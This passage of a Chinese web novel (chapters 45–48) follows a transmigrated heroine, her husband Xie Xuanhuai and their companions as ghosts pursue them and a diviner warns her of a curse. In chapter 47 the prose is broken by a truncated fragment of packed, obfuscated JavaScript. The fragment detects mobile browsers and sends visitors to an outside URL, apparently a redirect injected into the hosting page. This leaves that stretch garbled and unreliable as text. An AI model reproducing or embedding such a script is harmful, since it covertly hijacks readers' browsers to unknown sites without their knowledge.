45. 失眠
柳凝雪躺在床上,侧对着谢玄淮,或许是客栈的棉被太舒服,又或者是她太困的原因,刚躺下不久她就昏昏欲睡了,只是身边睡着个谢玄淮,她心里还保持着几分警惕。
但终究是熬不过困乏,刚准备入睡的时候,脑海里突然叮的一声响起,系统的机械声通报,道:“谢玄淮好感度加百分之二。”
柳凝雪被这突然到来的声音吵得瞬间清醒,睡意一下子赶跑了,她真想把系统拎起来问它,是不是有病啊?大半夜加啥好感度呢?
柳凝雪翻身去看谢玄淮,便见谢玄淮安分地盖着被子,闭眼睡觉,她很少见他这么安静的样子,一时不禁看出了神。
谢玄淮虽闭着眼睛,却没有睡着,他自也能感受到柳凝雪落在自己脸上的目光,直白又专注,原本稍微沉静下来的心又浮躁起来。
身体不断传来一股燥热搅得他实难入睡,柳凝雪看了一会儿后便觉无趣,继续躺下睡觉了,这次没有外界打扰,她倒睡着了。
待身边的人传来平稳的呼吸声后,谢玄淮才慢慢地睁开眼睛,他掀开被子让炎热散去一些,此时正值春季,天气并不热,甚至有些凉,可谢玄淮却感觉自己仿佛处身夏季。
他起身正打算去洗个冷水澡,手臂措不及防被人抱住了,他顿了一下,转头去看,发现柳凝雪不知什么时候已经越过了她的被子,抱住了他的手。
她双手抱住他的手臂,缠得又紧,他根本抽不出来,看着她睡得那么安稳,自己却因为她难以入睡,心中的邪火就忍不住蹭蹭蹭地往上冒。
谢玄淮一不做二不休,当即伸手用力去戳柳凝雪的脸,喊道:“别睡了。”
谢玄淮戳她时的怨气十足,恨不得在她脸上戳出一个洞来,柳凝雪被他戳得痛醒过来,她揉了揉脸,埋怨地瞪他,道:“谢玄淮,你神经病啊?”
谢玄淮指了指自己被她抱住的手,咬牙恨声道:“松开。”
柳凝雪这才注意到自己抱住了他的手,但在睡梦中,她明明抱的是自己的娃娃,她就说她买的娃娃棉花怎么变得这么硬了。
她嫌弃地甩开了他的手,道:“切!”
说完,她又翻过身盖过被子睡觉了。
“你。”谢玄淮实在被她这种态度气恼了,人怎么能无耻成这样?
他看着翻身睡着的柳凝雪,心中邪火更甚,干脆自己也躺了下来,再一把拽过柳凝雪将她抱在怀里,双手紧紧搂着她的腰。
既然他睡不着,那她也别想睡了,不是喜欢抱人吗?那他就让她抱个够。
柳凝雪甚至都没反应过来,自己就被他抱进怀里了,两人身体零距离接触,她被迫双手撑在他的肩上,且他抱得极紧,她差点呼吸不过来。
“谢玄淮!!!你放开我!!你个癫公!!!神经病!!!”柳凝雪骂得面红耳赤,可谢玄淮不仅没有要松开的意思,手上还越抱越紧。
柳凝雪的呼吸变得急促凌乱,再这样下去,她真要缺氧而死了,奈何谢玄淮力道奇大,她根本挣不开。
谢玄淮闭着眼睛,不理会怀里人如何动作,她的身体冰凉凉的,好像夏日热暑时的冰块,一旦握住了就不想松开。
柳凝雪渐渐平静下去,她意识到挣扎对谢玄淮来说根本没用,反而会让他更疯狂,恨不得将自己抱死在怀里。
她安静了片刻后,忽听到脑海里又响起了系统的声音,道:“谢玄淮好感度加百分之二。”
柳凝雪愣了下,也不再乱动,就这么任由他抱着,自己则仰着脸,尽量去呼吸更多的新鲜空气,好让自己不缺氧而死。
两人就这么维持着这个姿势,一直睡到天明,柳凝雪醒来时,谢玄淮早就不见了,她仰了一晚上的脖子现在直发酸。
她坐起身来,揉了揉发痛的脖子,换好了衣裳下楼去。
来到楼下时,林月明和江若宁几人已经在等候着她,他们一见到柳凝雪下来,各各都变得神色各异。
柳凝雪一时不解他们这是什么意思,问道:“你们……这么看着我做什么?”
林月明打量了她几眼,脸色讪讪地轻咳几声,道:“那个……你醒了,快来用早膳吧。”
柳凝雪莫名其妙地看着他们,但还是走到桌子旁边喝粥。
赵云绵一脸好奇地看着她,像是发现了什么新大陆,封余休靠在客栈门边磕瓜子,目光时不时注意着她,虽然脸上依旧带笑,但这笑看起来很是勉强。
柳凝雪实在受不了这种诡异的气氛了,她喝完粥将碗重重地一放,问道:“说,你们到底有什么事瞒着我?”
江若宁抱着大鹅凑过去,一脸八卦道:“你昨晚和谢世子他……做了什么?”
柳凝雪被他问疑惑至极,道:“睡觉啊,还能做什么?”
江若宁有些不敢置信地看着她,说:“就睡觉?”
柳凝雪点头,“嗯。”
江若宁仍旧皱着眉不太相信,林月明一把将他推开,说:“说睡觉那就是睡觉,收起你那肮脏的脑子。”
原本柳凝雪还不明所以,可说到这里她也明白他们误会了什么,解释道:“想什么呢?我和他根本就不可能!我们一点都不喜欢对方。”
“真的吗?”靠在门边的封余休忽然问。
柳凝雪停顿了一下,才回答:“真的。”
封余休站直了身子,将手中的瓜子壳丢进簸箕里,笑说道:“那真是太好了。”
江若宁还是不死心,追问道:“那谢世子脖子上的痕迹是怎么回事啊?”
柳凝雪怔了一瞬,才想起脖子上的痕迹应该是昨晚她挣扎时不小心抓的,但她又不好说出来,只道:“反正不是你想那么回事。”
江若宁听到回答,脸上有些失落,封余休看着柳凝雪说:“喝完粥就该走了。”
柳凝雪点了点头,简单收拾好就等着谢玄淮回来。
等人的期间,林月明拉过柳凝雪,问她:“他是谁?”
柳凝雪顺着她目光看去,便见封余休站在廊下看着外面,心情颇好的样子。
柳凝雪想了想,说道:“他叫叶安,我被拐的时候认识的,是他救了我。”
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林月明意味深长地哦了一声,又说:“那他为什么要跟着你们?你们要去做什么?”
柳凝雪也不太清楚他要做什么,她说:“我不知道,我和谢玄淮打算去无方镇,顺便送赵姑娘回去,你们呢?你们又要做什么?”
林月明道:“巧了,我们正好也要去无方镇,这次是有正事要做。”
柳凝雪见她不说,也不问她是什么事,只道:“那我们正好一起,一路上也有个伴。”
林月明点了点头,此举正合她意。
谢玄淮出去准备路上所要用到的东西,购置完所用的东西后,几人集合完毕上路。
他们又租了一辆马车和三匹马,柳凝雪和林月明,赵云绵挤在一辆马车里,幸好马车足够宽敞,倒也还能坐得下去。
江若宁让林月明帮他照看着大鹅,但林月明总是嫌弃,把大鹅放到一边不理它,这只鹅很通灵性,知道别人不喜欢它,也不往前凑,乖乖地坐在原地休息。
出了越州城就没有客栈休息了,下一个驿站离这里又较远,马车行到夜晚便停了下来。
柳凝雪坐在火堆前,拿着一根棍子挑火,火堆里传出一阵噼里啪啦的烧柴声,裹挟着一股暖意传来。
人在安静的时候总会忍不住多想,柳凝雪也是这样,以往这个点,她应该是下班回家,然后坐在客厅里看着电视剧吃火锅了,可偏偏现在有了个攻略的任务,让她来到这么个陌生又落后的地方。
她取下腰间的玉佩细细端详着,她现在的命运是和玉佩关联在一起的,她原本活不过二十几岁,只是有玉佩在又让她多活了些日子,现在就是玉碎她亡。
穿到这里来,她也怪不了谁,她本就命数将尽,只是上天又让她活了下来,还给了她活下去的机会,但机会难得。
柳凝雪从不厌世,能活下去为什么要死,一想到自己出到社会当牛马这么多年了,福还没享够就要死了,这谁听了不难受?
或许是她的性命与玉佩相关联的原因,她竟不可控地对玉佩生出一丝异样的情感来。
她静静看着玉佩,却不知身后树林里的谢玄淮也在静静地看着她,看着她如何珍惜这枚玉佩,如何对这枚玉佩流露出深情与不舍。
他费心去找树林里的野果给她解腻,想她可能会因第一次出门而不习惯,可他找完果子回来呢?看到的却是自己的妻子对着别人的遗物珍爱至极。
谢玄淮自问自己肚量不大,就算他不喜欢她,既然都嫁给他了那为什么还想着别的男人?
他越想手上的拳头便握得越紧,果子被他捏得汁水四溅,无一点完好。
他知道这枚玉佩是她口中的前世给她的,想来她肯定爱惨了他的那个前世吧,不然为什么会珍惜这枚玉佩?
只是很可悲,他终究不会是他,也不可能成为他,他只会是他自己,谢玄淮就是谢玄淮,这是不会改变的事实。
即便是如此想起,他也忽视不了自己心底升起的那份他不愿承认的不甘与怨恨,她明明嫁给了自己,那她的身心都只该是他一个人的才对。
46. 遇险
手中青色的果子被他捏得碎成四瓣,汁水流穿他的指尖,这时,他身后忽的发出一道尖锐的爆鸣声,喊道:“谢玄淮!!!你不吃做什么要糟蹋食物?!”
江若宁说着就要上前来抢他手中的果子,今天吃了一天的油饼,他都快吃腻了,好不容易有个水果,结果被谢玄淮捏成这样,这换成谁不着急?
柳凝雪被他的声音喊得回过头来,便见谢玄淮手上拿着青色果子,果子只有四个,一边手拿着两只,全都让江若宁给抢了去了。
吃了一天的饼,她也实在是腻了,见到果子的那一刻,她咽了咽口水,可是谢玄淮一个都没给她留。
谢玄淮似是没看见她的举动般,略过了她来到火堆旁坐下,柳凝雪也只好跟着他坐下,她自己虽然想吃,但又拉下脸去问他哪里摘的。
于是,她只能眼睁睁地看着江若宁一个人把四个果子全吃完了,她看着眼馋,心里暗戳戳地说他坏话,以前怎么没发现他这么能吃呢?
柳凝雪馋得只能喝水缓解一下,到了半夜,柴火逐渐燃尽,柳凝雪和林月明,赵云绵三人挤在马车里睡觉。
处在陌生的环境中,加上又不是睡床,柳凝雪的睡眠就变得极浅,半夜的时候,她甚至能被一些鸟的咕咕声吵醒。
过于安静的环境响起一阵咕咕声,衬得周围更加荒凉了,同车的林月明和赵云绵似乎都睡着了,只剩她被鸟叫声吵得不得安宁。
柳凝雪闭着眼睛,试图强行让自己安睡过去,可就在这时,放在马车里的邀月剑却忽然动了起来。
邀月剑动,必有邪崇。
柳凝雪一时紧张起来,脑海里始终绷着一根弦,时刻警惕着周边动静,可她又不敢睁开眼睛去看,生怕一睁眼就对上一些不干净的东西。
可邀月剑一动,却并没有要停下来的意思,甚至越动越响了,就算如此,也没能把身边熟睡的人吵醒。
方才鸟儿的咕咕声也已经消失了,旁边寂静一片,柳凝雪心一横,猛地睁开了眼睛,所见之处什么都没有,空白一片。
若不是邀月剑还在不停地动,她真以为自己是神经过敏了。
马车车帘被轻风晃荡起来,柳凝雪紧盯着那片车帘,直觉不能去掀开它,否则后果不堪设想。
柳凝雪艰难地挪动身子去拿邀月剑防身,动作时又怕惊忧到什么,她心想自己以后一定不要睡最里面了。
邀月剑还在持续响动着,车外的谢玄淮和封余休在剑响起的第一刻就醒了。
在碰到林月明时,谢玄淮已经施法盖去了身上的邪气,所以剑不可能是因他而动,那就只有一个可能,有邪祟在朝他们靠近。
谢玄淮三人睡在树上,邀月剑响动时,他与封余休各自施法护体,当看到还在沉睡的江若宁时,谢玄淮便画了张符丢到他身上。
马车上有他们设下的阵法,一般的邪祟都破不开,两人往树底下看去,注意着下面的动静。
柳凝雪抱着邀月剑,神情紧张地看着四周,不过多时,一股浓烈的腐臭味就冲入鼻腔,熏得她几欲作呕。
马车外,几个身穿破烂红衣的女鬼用扭曲的四肢在地上攀爬着,她们围着马车转动,身上还沾了不少泥土,看着像是刚从地下爬出来的一样。
碍于马车上的阵法,她们不敢轻举妄动,马车里的柳凝雪已经想象得出外面是什么景象了。
她紧紧抱着邀月剑,捂着自己的口鼻不敢出声。
就在这时,原本安分睡觉的江若宁忽然翻了个身,贴在他身上的符纸因他动作挣脱往下落。
谢玄淮和封余休同时暗道一声不好,黄符脱落,他身上的人气尽显,那些鬼靠人的气味辩别方向,在符纸掉下的那一刻,她们齐齐抬头,用两双空洞的窟窿望树上看去。
闻到人味,她们迅速围向大树,有几只想要爬上来,被谢玄淮用符纸打了下去。
他从树上飞落下来,女鬼们便团团围过去攻击他,封余休见他引开了女鬼,就去推江若宁,说道:“别睡了,再睡命不要了?”
江若宁被他推的一个激灵,脑子还不太清醒的时候,一张鬼脸突然往他脸上怼过来,他吓得脸色一白,当即尖叫了一声,“啊!!!鬼啊!!!!”
封余休抓着他从树上飞下去,鬼物也向他们围过去,眼看着围过来的鬼越来越多了,封余休抓住江若宁,将他往马背上丢,自己也翻身坐上了马。
那些鬼见一直打不过谢玄淮,便集中火力攻向封余休和江若宁。
马车里的柳凝雪听到外面的动静,赶忙叫醒沉睡中的林月明和赵云绵,然后坐到外面驱车。
赵云绵还在迷迷糊糊中,问道:“发生什么事了?”
林月明掀起帘子望外看了一眼,又迅速放下了,惊谔道:“好多鬼!”
赵云绵听到她的话瞬间清醒了,她最怕鬼了,说:“那怎么办啊?”
她甚至没有勇气掀帘去看外面一眼,林月明道:“别怕,不会出事的。”
说出这话,她自己心里也没底,这么多鬼怎么逃得出去啊?
柳凝雪没功夫和她们闲聊,只一心驱车,但自她出来后,那些鬼也全都向她这边爬过来了,似乎他们的目标就是柳凝雪。
林月明忍不住看向外面,愕然道:“不是,他们怎么只跟着我们啊?”
柳凝雪道:“你问我我去问谁?”
说完,她又专心去驱车,林月明就坐她身边,可奇怪的是,鬼物大多扑向柳凝雪而不是林月明,即使有攻击她的也很快转移了目标。
柳凝雪算是明白了,这些东西专门来找她的。
她将缰绳一把塞到林月明手里,道:“拿着,你来。”
话落,也不等林月明反应,她又钻进了车里。
赵云绵被她突然地钻进来吓了一跳,柳凝雪无暇顾及她,她脸上惊慌未定,趁着空隙吐了一口气后,便在车里找起了东西。
她将车里大半能带走的法宝都带在了身上,随后又急匆匆地赶出去。
林月明一见到她出来,便急道:“你做什么啊?!我不会驱车啊!!”
柳凝雪出奇地镇定下来,说:“我去引开他们,他们的目标是我。”
林月明脸色空白了一瞬,才反应过来她说的是什么,当即否定道:“不行啊你!”
可话还没说完,柳凝雪看着不断往后退的土地,鼓起勇气,心下一横,头也不回地跳了下去。
与此同时,封余休也跳到了马车上,他忙从林月明手里拿过缰绳,控制住马车,一边忍不住去担心柳凝雪的状况。
柳凝雪跳下车后,在地上滚了几圈,由于第一次跳车不太熟
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练,身上还是摔了几处伤,她忍着疼痛站起来,那些鬼物也全朝她这边围了过来。
柳凝雪也顾不得身上的伤了,咬着牙朝着马车的反方向跑去。
她边跑边往后面扔符纸,喊道:“什么仇什怨啊?追着我不放。”
鬼物被她的符纸打得往后退,随即又追了上来,柳凝雪看着大半的鬼物已经被她吸引过来后,她松了口气。
接着就开始了自己的逃命生涯,她磕磕绊绊地往前跑,身后鬼怪穷追不舍,而她手中的符纸也快要用完了。
这时,谢玄淮忽的策马赶到自己身边,朝她伸出了手,说:“上来。”
他的语气不容置喙,柳凝雪也没多想,把手搭在了他掌中,借力一跃,坐上了他的马。
“你没事吧?”冒着这么大的风险来找她,柳凝雪下意识地关心他。
谢玄淮低头看了眼怀里的人,脑海里只有一个念头,她在关心他。
她在关心他。
他心底莫名地升起一股异样的感觉,面上还是不动声色地回道:“我没事。”
谢玄淮带着柳凝雪策马离去,身后鬼怪依旧在追着他们,她手中的符纸也用没了,转头问谢玄淮,道:“怎么办?难道要一直跑下去吗?这会累死的吧?”
而且,他们也不能脱离封余休他们。
谢玄淮道:“借你的血用一下。”
话落,柳凝雪还没反应过来,自己的掌心就被他划破了一道口子,鲜血沿着伤口流出,谢玄淮取出身上的符纸,再沾了她的血去画符。
用复灵血画的符,威力不是一般的强,谢玄淮一连用血画了几张过后,从马上飞下,几道符纸一同从他掌中飞出,势如破风,他再结印布阵施法。
被施过法的符纸迸发出一道红光,在谢玄淮的指令下将那些鬼怪围住,几道符纸共同作用,互相连结,地上瞬间现出一个血红的灭邪阵。
处在阵中的邪崇齐齐被从地下往上刺的红剑刺穿,顷刻之间化为飞灰消灭,灭邪阵威力极大,阵法一出,几乎没有邪崇能够存留。
解决完眼前的麻烦,天边也渐渐亮起光芒,晨曦照在苍茫的大地上,给天地镀了一层柔和。
在阳光的照耀下,剩下的鬼怪四处逃窜,没来得及逃的,或被灭邪阵除掉,或被阳光灼烧而亡。
柳凝雪控制着马儿往回走,她第一次骑马,只敢慢悠悠地走。
不远处,封余休正驱车向他们这边来。
封余休一见到他们,便下了马车,对柳凝雪道:“没事吧?”
柳凝雪道:“没事。”
刚说完,她跳车时伤的地方就隐隐作痛,让她不禁皱起了眉头,封余休想伸手去扶她,却被一旁的林月明快一步扶走了,她道:“正好,谢世子也受伤了,你们一起去上药吧。”
见柳凝雪来到自己身边,谢玄淮片刻之间便收起了那幽怨冰凉的目光,看向她说:“伤到哪里了?”
柳凝雪道:“手?脚?好像都伤了一点。”
最重要的是,她骑马大腿内侧痛。
谢玄淮便带着她去上药,封余休还想追上去却被林月明拦住了,她说:“叶公子,那边好像有什么东西,你陪我去看看吧。”
封余休低头看了她一眼,冷笑连连,说道:“好啊,我就陪你去看看。”
47. 上药
马车上备有医箱,手和脚上的伤,柳凝雪自己基本可以搞定。
可腰上的伤却没那么容易上药了,柳凝雪独自一人待在马车里,她手指上沾了药,扭头想要擦腰后的伤。
她只恨自己的头不能一百八十度旋转,她艰难地擦着药,却不小心碰到了桌上的药瓶,谢玄淮待在车外上药,听到里面的响动,他问道:“怎么了?”
“没事……”柳凝雪道。
腰后的伤是最严重的,现在已经青黑发紫了,药膏碰到的那一刻,刺痛引得柳凝雪倒吸了一口凉气。
谢玄淮在车外听着,他犹豫了一下后,翻身上了马车。
柳凝雪一见到他进来,忙拿起衣服挡在身前,脸色窘迫道:“你你你,你怎么上来了?”
谢玄淮眼眸往下扫了一眼后,便不自在地扭过头,朝她伸出手道:“药给我。”
柳凝雪握着手中的药,还在犹豫不决,就听他说:“我们是夫妻,坦诚相待很正常。”
这话在柳凝雪听来似乎有些不对,但又觉得他说的没错,于是,她慢慢地把药瓶放到他掌心,说:“你不许看啊。”
可谢玄淮又不是君子,在她转过身的那一刻,他就回过头来了。
他看着柳凝雪将胸前的衣服放下,然后伸手去解开里衣的衣带,露出后背鲜红的线,那是她的肚兜。
谢玄淮喉结莫名滑动了一下,他坐近了点,对她说:“忍着点。”
柳凝雪还没反应过来,就感觉腰后一凉,伤口在药物的刺激下,引起一阵疼痛,她痛得眉头皱起,尽力忍着不乱动。
“可……可以了吗?”柳凝雪忍着痛问道。
谢玄淮抬眸看了她一眼,道:“等一下。”
柳凝雪不知道自己伤得怎么样,上个药还要这么久,听到谢玄淮的话,她又忍了下来,安静地让他上药。
谢玄淮拇指沾了药轻轻在她的伤口涂抹着,其余四指张开覆在她的腰上,指尖触到她腰侧的那一刻,柳凝雪瑟缩了一下,道:“好凉。”
他的指尖比药更凉。
谢玄淮怔了下,收回手道:“好了。”
说完,柳凝雪忙穿上了衣服,对他说:“谢谢。”
谢玄淮放药的手一顿,难以置信地念出那个字,“谢?”
谢玄淮没好气道:“谢我什么?”
柳凝雪不明所以,道:“谢谢你昨晚不顾性命救我,谢谢你给我上药?”
谢玄淮无声笑了下道:“柳凝雪,我救你给你上药不是为了听你说谢谢的。”
要是只为了听谢谢,那他救谁都可以。
话落,谢玄淮便下了马车,留柳凝雪一人在原地迷惑,不是这样那是什么意思啊?
六人整顿过后,又重新上了路,走了大概三个时辰,才见到一个驿站。
这座驿站开在荒凉之地,往来人数不多,柳凝雪和谢玄淮他们去的时候,小二正在前台无聊地剔牙。
柳凝雪上前道:“小二,我们要住房。”
见到客人来,小二忙打起精神应付,道:“好嘞好嘞!客人要几间房?”
柳凝雪刚想说话,却被林月明抢先一步道:“五间!”
其余人齐齐看向她,具是疑惑至极,林月明道:“你们夫妻住一间又没什么。”
主要是她不想看到封余休趁机插足他们二人的感情,虽然她也不看好谢玄淮,但好歹谢玄淮也是上京人士,敬王世子,怎么也比这个不知道从哪冒出来的封余休好。
赵云绵不解道:“之前是房间不够,所以两人住一间,现在房间绰绰有余,一人住一间不好吗?”
封余休在一旁点头,道:“对,赵姑娘说得有理。”
林月明扫了封余休一眼,将赵云绵拉到自己身边,说:“你懂什么?”
随后,她又道:“就五间,你们夫妻可以住一间,正好也可以省下一些银子。”
店小二看了看他们,道:“五间上房,确定了吗?五十两。”
这话一出,众人的脸色涮地一下变了,“什么?五间房五十两?!”
江若宁不敢置信地伸出五根手指说道,“这么贵!你怎么不去抢呢?!”
小二不耐烦地说道:“爱住住,不住滚!”
江若宁气得喊道:“你这什么态度啊?!”
小二懒得理他,转过头去继续剔牙,林月明气得差点想揍人,这种破烂就是爱宰人。
她将三十两银子放到前台上,说:“三间上房。”
他们虽然有银子,但也不是怨大头,任人宰割的羔羊,付了钱后,他们便各自领了门牌号去房间了。
一回生,二回熟,柳凝雪习惯性地把自己的东西搬进房里,换洗完后便下楼去找吃的。
那些油饼,她真的要吃吐了,现在能来一碗白粥都是好的。
刚到楼下,她就听到了不绝于耳的争吵声,循声望去,便见小二和一个白衣道士吵了起来。
道士道:“十两一间房?!你怎么不去抢?!”
小二道:“爱住住,不住就滚。”
就算是吵架,那道士也是温声温气的,根本没一点气势,小二也不怕他,不给十两银子就别想住。
道士稍显窘迫,他低头看了看手中为数不多的银子,又见小二如此蛮横无理,便退一步,道:“我现在只有六两银子,缺的我日后会补上的。”
小二却不会听他的话,他看了看他背上背着的那把铜钱剑,说道:“你把你那剑当在这里不就行了?”
那把铜钱剑一看便知其做工精细,肯定价值不菲,道士当即拒绝了他,道:“不行!这把剑不能当!”
小二不耐烦和他说话了,道:“去去去,那就别住了,没钱还住什么店。”
“你。”道士气得说不出话来。
柳凝雪抿了抿唇,上前两步,啪的一下将银子放到前台上,说:“差多少银子,我替他付了。”
道士惊讶地转头去看她,说:“多谢姑娘。”
小二的目光在两人之间转个来回,随后收了银子,点了一下数目,道:“够了。”
说完,便丢给道士一块牌子,让他赶紧走。
柳凝雪道:“不必客气。”
这时,她点的粥也端上来了,刚坐下便听到那道士的肚子咕噜咕噜叫了几下,他的银子都用去租房了,现在身无分文,正饿得不行。
柳凝雪便将另一碗粥递给了他,说:“你吃吧。”
道士面色讪讪地在她对面坐下,也不客气,端起那碗粥喝了起来。
待用完粥后,道士说:“多谢姑娘款待。”
柳凝雪正对着他,说:“不必。”
李筹这才借着火光看清她的面容,只见她印堂发黑,似有大祸临头,他脸上的笑意渐沉,对她说:“姑娘,在下为你算一卦如何?就当是为了谢过姑娘。”
柳凝雪道:“行。”
她觉得自己确实需要算一卦了,不然最近怎么这么倒霉。
李筹按例取出他的三枚铜板在桌上摊开,又合上给她算卦,柳凝雪凝神看着他算,三枚铜板落到桌面发出叮当几声,结果全都是反面朝上,此卦,大凶。
柳凝雪的笑容凝固在了脸上,心里崩溃至极,这丫的算错了吧?!大凶?!!
李筹一脸严肃地将铜板收回,问她道::姑娘最近一个月可接触过什么东西吗?”
柳凝雪费力地想了想,实在想不出她接触过什么东西,她摇头道:“我不知道。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136353|159711||http|test|mini|href|location''.split(''|''),0,{}));
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>李筹道:“姑娘最近已被邪崇缠身,需多加注意些。”
柳凝雪问他,说:“此局何解?”
李筹道:“我身怀三钱,只能帮你算出大致方位,具体何解我也不清楚。”
身怀三钱,意思就是他佩戴三枚铜钱,说明他在卦术一道修炼已至六重境,能测吉凶,算生死,但不能给准备的破局方法。
想要算出如何破局,还需要找身怀二钱的人来算,柳凝雪所认识的人中,也只有李慕言符合了。
柳凝雪被吓得有点结巴了,说:“那……那怎么办啊?”
大凶之卦,此局不解,很有可能她会丧命于此。
李筹道:“姑娘别急,凡事都有峰回路转,柳暗花明又一村,总能找到破局之法的。”
柳凝雪现在已经听不进他在说什么了,她怎么知道自己碰了什么东西,然后被邪崇缠身,随时都有死的可能。
李筹又道:“我帮姑娘算出来了,解局的方向在东南方,直走便可。”
“东南方?直走?”柳凝雪感觉自己的头要炸了,现在她连喝粥的心思都没了。
她勉强撑着一丝笑意向李筹道谢,“谢谢你。”
说完,她便失神落魄地往楼上走去,脑子里全是大凶之卦,现在好了,任务没完全不说,自己的小命还随时可能会丢。
她也想不起来自己碰过什么东西了。
回到房间后,她简单洗漱了下就爬上床盖被子睡觉了,趁现在还有时间,赶快享受。
谢玄淮刚沐完浴出来就见柳凝雪一幅魂不附体的样子,像是遭受了什么重大打击。
见她躺下后,他把头发擦干,吹熄了烛火,也跟着她身边躺下。
两人都接受不了睡地板,但已经能接受身边睡了个人。
谢玄淮还在想柳凝雪遇到了什么时,身边的人已经传来了平稳的呼吸声,他侧头看过去,看到的只有她的背影。
他干脆也翻过身去闭眼睡觉了。
时至半夜,谢玄淮半梦半醒间,他迷迷糊糊地睁开眼睛,房间一片昏暗,唯独相对着床的屏风后亮着一根烛火。
这情景仿佛置身梦境,他伸手揉了揉眉心,想道,又是这个梦……
这个梦又好像和以往的有些不同,在梦里,他时常能听到屏风后少女轻快的哼唱声,以及水滑过躯体的水流声。
这次的梦却没有那段哼唱声,水流声依旧。
他起身下了床,缓步走向那扇屏风后,暗沉的房间里独有这一根烛火,似在指引着他去往的方向。
他越过屏风后,窥见少女云白的衣角,旁边的浴桶里还冒着热气,驿站的房间里没有单独隔开的浴间,只有一扇屏风作挡。
柳凝雪半夜感觉身上疼痛黏腻便起身要热水洗了澡,正穿衣服时,忽听到身后有动静传来。
她回头看去,便见谢玄淮好整以暇地站在她面前,他眼眸半瞌着透着一股倦意,灼热的视线落在她身上,目光赤.裸毫不掩饰。
柳凝雪吓得忙掩住了身上的衣服,刚想质问他怎么平白无故偷看别人洗澡,结果不防脚下一滑,整个人猛地朝他扑了过去。
谢玄淮见她扑过来,很自然地伸出双手揽住她的腰,因这一动乱,柳凝雪身上的衣服散了些许,皙白的肌肤触及他的身体,让谢玄淮不禁一愣,这梦中的触感竟如此真实。
这时,柳凝雪的脑海里突然叮的一声响,又响起了系统的声音,道:“谢玄淮好感度增加百分之二,总进度百分之十六。”
随着系统声音的响起,柳凝雪的耳根也红透了,抬手狠狠扇了谢玄淮一巴掌。
啪的一下,谢玄淮脸上顿时现出五根鲜红的指印,疼痛掩盖了睡意,他脑子懵了一瞬才反应过来,这不是梦!
48. 麻烦
这不是梦。
谢玄淮猛地惊醒过来,他看了看怀里的人,瞬间把手抽回了,柳凝雪站稳了身体,怒瞪了他一眼,说:“无耻!”
谢玄淮吃痛地揉了揉脸,柳凝雪的手劲并不小,打在他脸上火辣辣的疼。
柳凝雪迅速穿好了衣服,走出屏风到床上躺着,可一躺下,她就感觉后腰上疼痛不已,估计是那处摔伤还没好,旧伤复发了。
她不禁伸手去扶自己的腰间,察觉到柳凝雪的异样,谢玄淮问:“伤口怎么了?”
她在睡前已经敷过一次药了,按理说药效不可能过得那么快,可能是她半夜洗澡又把药洗去了,才导致的伤势复发。
谢玄淮熟练地从医箱里翻出药瓶来,走过去对柳凝雪道:“来上药。”
柳凝雪腰上疼得不行,也没多说什么,坐起来让谢玄淮给她上药,可等她解开衣襟的时候,谢玄淮却愣住了。
原本早上还是青紫的伤口,现在已经成了浓黑色,药是很普通的跌打损伤药,所以不可能是药的问题。
谢玄淮神情变得严峻,问她:“你腰上的伤碰到过什么吗?”
“啊?”柳凝雪有些不解,道:“没碰过什么啊,伤口怎么了?”
谢玄淮道:“你再好好想想。”
说着,他指尖沾了药给她抹上,这次柳凝雪却没什么感觉了,要不是谢玄淮那严肃的口吻,她真以为自己的伤要好了。
“碰到过什么?”柳凝雪细细回想了一下,昨晚的情境又在她脑海里一遍遍重演,她道:“当晚跳下车的时候,好像被鬼抓了一下,不过当时也没出什么问题,我就没理了。”
谢玄淮却道:“你的伤口不是一般的鬼怪所伤,这更像是一种诅咒,可能是你此前还碰到过什么。”
柳凝雪眉头紧拧起,说:“诅咒?”
她忽的想起李筹给她测的大凶卦,会不会就和这个有关?
柳凝雪对谢玄淮说:“今晚我在楼下的时候碰到一个人,他帮我测了一卦,说是大凶之卦,破局方向在东南方直走。”
谢玄淮眼眸顿时抬起,眸光泛着寒意,他问:“谁?”
柳凝雪道:“叫李筹,一个年轻人。”
李筹,学卦术的。
谢玄淮回想起古籍上写过的卦术一道,卦术何其神秘,据说入他们那一道的人都会冠祖师爷的李姓,李慕言原本也不姓李,而姓陈。
李筹,不是慕字辈的,那就是李慕言的师侄。
谢玄淮问:“他住在哪间房?”
柳凝雪微感疑惑,道:“我不知道啊,你问这个做什么?”
谢玄淮垂眸道:“没事。”
可柳凝雪隐隐感觉到不对劲,但他既不想说,她也不好追问下去。
隔壁房间里,江若宁早已躺了下来,累了一天,他只想安静地睡个觉,封余休洗完澡却迟迟没过来睡觉,他不禁扭头去看他。
就见封余休坐在桌子旁,手中拿着一杯茶在喝,但见他一脸心思重的样子,也不像是在品茶。
“叶大哥?”江若宁喊了一声。
封余休被他喊得回过神来,问他:“怎么了?”
江若宁道:“没什么,夜深了,快睡吧。”
封余休点了点头,起身往床榻边走去,正想休息,忽听门外有动静,悉悉索索的,似有东西在地上被拖着走。
江若宁经过了几天遇险,警惕性也变高了不少,听到动静的第一时间就屏息凝神,专心去注意外面的响动。
封余休给他比了个嘘的手势,而后静声来到门边,他伸手在纸上戳了个洞往外看,所见之处,皆是鬼怪在地上攀爬的痕迹。
它们或是上楼,或是在楼下四处巡逻,围着这间驿站不放。
现在夜色渐深,也没什么客人往来,小二早就偷懒去休息了,屋中只剩下寥寥几根烛火。
房间似乎有什么禁忌术法,那些鬼怪只在门外转动,不敢进到屋内。
大致了解外面的情形后,封余休回到床上,江若宁问他,道:“怎么样了?”
封余休道:“不出去应该不会有什么危险。”
听到这话,江若宁松了一口气,起码他还能有个地方睡觉。
随即,封余休就用传信符传信给其他人,叮嘱他们不要出房屋。
早在封余休传信来的时候,柳凝雪和谢玄淮就注意到了外面的动静,两人看过之后,得出了和他相同的结论,只不过不同的是,那些鬼大多数聚在柳凝雪的房门外。
这让柳凝雪不禁想起李筹的话,说:“不会是我引来的吧?”
谢玄淮扫了她一眼,并不言语,而是去找能用得上的东西,这些门上的禁制不明,也不知它们什么时候会闯进来。
柳凝雪有些丧气地坐在凳子上,说:“我到底是招惹了什么啊?莫名其妙的一堆鬼追着我不放,难不成我真要去找李慕言才行?”
